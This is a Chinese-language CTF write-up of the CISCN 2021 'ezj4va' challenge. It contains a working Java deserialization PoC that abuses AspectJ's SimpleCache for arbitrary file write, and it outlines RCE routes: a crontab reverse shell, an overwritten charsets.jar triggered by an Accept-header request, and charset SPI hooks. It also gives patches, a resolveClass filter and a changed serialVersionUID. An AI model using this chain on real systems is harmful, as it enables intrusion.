【程序员比赛】CISCN 2021 ezj4va与Fix思路
比賽過程中發現了漏洞點并且提示是寫入文件然后rce,不過在封裝惡意類的時候一直報錯,然后就一直到比賽結束也沒有調試出來,不過之后問了Mrkaixin師傅發現自己的一下小問題,然后在問了學長hpdoger給了思路可能是springboot任意選擇文件寫到rce的利用,于是自己又打開了idea開始研究。再次非常感謝Mrkaixin師傅和學長朱師傅。
搭建環境
在比賽中我們可以訪問robots.txt訪問源代碼,然后下載之后在本地搭建,使用maven環境,這里有點配置環境自己想辦法咯,因為比賽的時候是斷網的,還好自己之前下載了很多包使用,搭建之后就可以看一下項目目錄。
項目啟動詳細在launch/Main可以看到,并且是以tomcat啟動端口8081。
代碼審計
接下來就是代碼審計,審計思路是先看控制器controller。在IndexController控制器中存在下載功能也就是下載我們的源代碼,不過并沒有任意文件下載。。。。
然后在看CartController控制器里面根據不同的路由觸發不同的操作而都是簡單的操作,添加add 查詢query 刪除remove操作。
簡單的看了一下具體的操作都是我們可以控制get參數skus和cookie值
并且每個操作下都有對參數值進行了序列化和反序列化操作。然后跟進發現有一個接口,是其具體方法的實現。
我們就看一個基本上就可以了,如下我們看addToCart方法。將我們的參數值進行反序列化之后添加到map集合里面。
其他的操作一樣,然后看看反序列化的實現,可以發現是直接反序列化base64編碼的參數。
然后基本上了解了大體上項目是思路,我們可以控制get參數和cookie參數并且去執行添加查詢刪除操作,注意一點這里的get參數和cookie參數必須為Cart類。不然會報錯。
然后在比賽中自己發現query方法的實現非常簡單直接進行反序列化操作。
當時感覺wc!直接利用cc鏈直接打啊,然后去滿懷期待的看看pom.xml文件。。。
并沒有cc組件和漏洞組件。。。這里的fastjson和aspectj是自己修改的版本因為不想在下載其他的。而對于fastjson原來版本是1.2.72無漏洞除非有0day!并且也利用不了。而aspectj原版本是1.9.5,然后讓隊友去利用可以上網的靶機搜索aspectj版本漏洞果然有一個寫入文件漏洞,需要配合cc鏈,而項目并沒有cc組件。那就先看aspectj的利用文章。
看看調用棧
看了這個之后,大概懂了為什么需要cc組件,TiedMapEntry和LazyMap都是cc組件里面的類。所以前面的我們根本不能使用,然后看下面的需要了 SimpleCache$StorableCachingMap#put,回顧我們之前項目的操作過程,里面是不是操作了一個put方法將數據put到map集合里面?那這鏈子不是就通了?
所以現在的調用棧
然后在看看最后的寫入文件過程
然后調用writeToPath方法
文件內容和文件里面的值我們都可以控制,所以可以成功寫入文件。
構造poc
因為前文件說了控制的參數需要是cart類,不能反序列化的所以要報錯。所以我們直接在項目domain/cart里面構造。
首先我們讓cookie序列化之后的cart類的SkuDescribe首先為我們的惡意類SimpleCache,并且類型為一個map。這樣需要注意一下不然構造poc的時候報錯。
這里我們可以利用一部分yso里面的poc。然后直接給setSkuDescribe進去一個惡意的對象simpleCache,這里需要注意一下因為SimpleCache類的內部類StoreableCachingMap屬性是private的要報錯,解決的方法是在當前項目目錄下建立一樣的類并且修改內部類StoreableCachingMap的屬性為public。
直接set進去要報錯因為數據類型不匹配,也正是我前面說的SkuDescribe類型是map,然后我們就封裝成map就歐克。
然后我們cookie參數獲得構造好了,之后在構造我們的get數據寫入文件。
我們還是直接setSkuDescribe一個Map進去,map的key為文件名value為文件內容。
然后一起將get和cookie的值進行base64編碼發送就歐克就能成功寫入文件。
完整的poc
public static String readFile(String filePath) throws Exception{// 根據path路徑實例化一個輸入流的對象FileInputStream fis = new FileInputStream(filePath);//2. 返回這個輸入流中可以被讀的剩下的bytes字節的估計值;int size = fis.available();System.out.println(size);//3. 根據輸入流中的字節數創建byte數組;byte[] array = new byte[size];//4.把數據讀取到數組中;fis.read(array);//5.根據獲取到的Byte數組新建一個字符串,然后輸出;String result = new String(array);result = result.replaceAll("\r|\n", "");fis.close();return result; }public static Cart cookiePayload() throws Exception {Cart cart = new Cart();Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Object simpleCache = ctor.newInstance(".", 12);//獲得objcart.setSkuDescribe((Map<String, Object>) simpleCache);return cart; }public static Cart getPayload() throws Exception {Map map = new HashMap();Cart cart = new Cart();String filepath = "1.txt";String data = readFile(filepath);map.put("2.txt",data.getBytes(StandardCharsets.UTF_8));//編碼cart.setSkuDescribe(map);return cart; }public static String getURLEncoderString(String str) {String result = "";if (null == str) {return "";}try {result = java.net.URLEncoder.encode(str, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();}return result; }public static String URLDecoderString(String str) {String result = "";if (null == str) {return "";}try {result = java.net.URLDecoder.decode(str, "UTF-8");} catch (UnsupportedEncodingException e) {e.printStackTrace();}return result; }public static String Exp(Cart poc)throws Exception{ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(poc);baos.close();return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", "")); }public static void main(String[] args) throws Exception {System.out.println("--------------------------------------------get數據-------------------------------------------");System.out.println(getURLEncoderString(Exp(getPayload())));System.out.println("--------------------------------------------cookie數據----------------------------------------");System.out.println(Exp(cookiePayload())); }RCE思路
不過能寫入文件并不能拿到flag,然后放了hint我記得是rce什么的。不過在之后的fix模式才知道項目是直接打包了jar java -jar xx.jar啟動,那寫入文件有啥用??
下面的思路是學長hpdoger給的說讓我看看《Spring Boot Fat Jar 寫文件漏洞到穩定 RCE 的探索》這篇文章。
這也是我們的問題。
思路一:
寫入crontab 計劃任務文件,然后反彈shell。不過我也不知道有沒有權限。。。。
思路二:
如果找到一種方法可以控制程序在指定的寫文件漏洞可控的文件范圍內,主動觸發初始化惡意的類,就有可能讓寫文件漏洞變成代碼執行漏洞。簡單的說就是我們寫入的文件進行了初始化操作會執行 static 代碼塊、static 屬性引用的方法等,還可能執行構造器中的代碼。然后我們將命令放在靜態代碼里面就可以執行了。
而這個文件范圍在文章中說了可能是更底層的 “系統的 classpath 目錄”,即 JDK HOME 目錄下。既:/jre/lib/charsets.jar文件。
接下來就需要解決一個問題我們可以寫入這個文件然后怎么觸發?既:怎么主動觸發可以控制類名的類初始化行為。
文章中有具體的分析這里就給出poc,替換過 charsets.jar 后,用如下的數據包就可觸發 RCE 了 _:
GET / HTTP/1.1 Accept: text/html;charset=GBKimport requests headers = {"Accept": "text/html;charset=GBK"} requests.get(url, headers=headers)思路三:
使用spi ServiceLoader.load(CharsetProvider.class, cl);我只需要在系統的classpath中添加一個SPI類就行了。然后就是繼承CharsetProvider重寫里面的方法當利用Charset.forName()的時候觸發rce。
思路四:
hook sun.nio.cs.ext.ExtendedCharsets 我們可以重寫這個類然后添加惡意代碼然后執行命令??梢越俪窒到y程序,不論是javac.exe編譯字節碼,還是運行jvm等,都會觸發Charset.forName()。不過在該題目不能使用,因為題目環境是一直在運行的,不會重新啟動所以也不會觸發。
基本上利用的思路都是覆蓋文件(替換charsets.jar包/寫入classes文件夾)然后通過Charset.forName()觸發。
不過在這個題目中自己測試了一下通過 “Accept”: “text/html;charset=evil;”觸發不了,在回過頭來看根本沒有import springframework導致利用不成功。并且項目里面自己沒有找到Charset.forName()觸發點。。。。。
不過思路可能是這個吧?!只是個人的猜想,不過這個題確實自己思考了有一段時間。
先挖一個坑在這里吧。。。。。。。。。
Fix思路
之后的一個小時就是fix模式,對于java的fix自己最開始是完全沒有思路的,是比賽結束之后自己學的思路和方法。于是就簡單的記錄一下。
github上有一篇文章寫的比較全 這里自己只是實現其中的一個方法,而該方法也是SerialKiller項目的底層原理,也是很多框架使用的方法。
hook
hook ObjectInputStream類的resolveClass方法
需要繼承Java.io.ObjectInputStream實現一個子類,在子類中重寫resolveClass方法,以實現在其中通過判斷類名來過濾危險類。然后在JavaSerializer類中使用這個子類來讀取序列化數據,從而修復漏洞。
新建一個工具類:utils/Fix
并且修改Deserializer類
package ciscn.fina1.ezj4va.utils;import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64;public class Deserializer{public static Object deserialize(String base64data) throws IOException, ClassNotFoundException {ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));Fix fix = new Fix(bais);Object obj = fix.readObject();fix.close();return obj;} }修改suid
這個修復方案,是從Xenny師傅那學的,是通過修改關鍵類中(也就是題目的cart類)的serialVersionUID,serialVersionUID可以理解為java序列化的標識,只有滿足序列化后的serialVersionUID值和序列化前的值一樣才可以成功反序列化。不然會報出InvalidClassException錯??梢赃@樣理解因為出題人的exp肯定是構造好了的,于cart類的suid也是對應的,所以如果我們修改cart類的suid就會報錯,并且這里可以使用工具修改就不需要反編譯和打包了。JByteMod-1.8.2
需要注意的是運行這個工具的時候jre運行環境一定要與項目的運行環境一致。
其他fix思路想不到希望師傅們能給出好方法。
總結
非常感謝Mrkaixin師傅和學長朱師傅還有Xenny師傅。雖然這個題最后還是沒有RCE,不過有思路了,還學習了Spring Boot Fat Jar寫文件漏洞到穩定RCE,并且學習了java序列化題的fix思路和方法,總的來說這個題出的非常好,自己學習了不少。
最后
我在網上整理了相關的學習資料與工具,有需要的朋友可以關注私信我哦!!!
了解詳細
總結
以上是生活随笔為你收集整理的【程序员比赛】CISCN 2021 ezj4va与Fix思路的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网安干货】MySQL8新特性注入技巧
- 下一篇: 中国台湾芯片设计商 Realtek 的W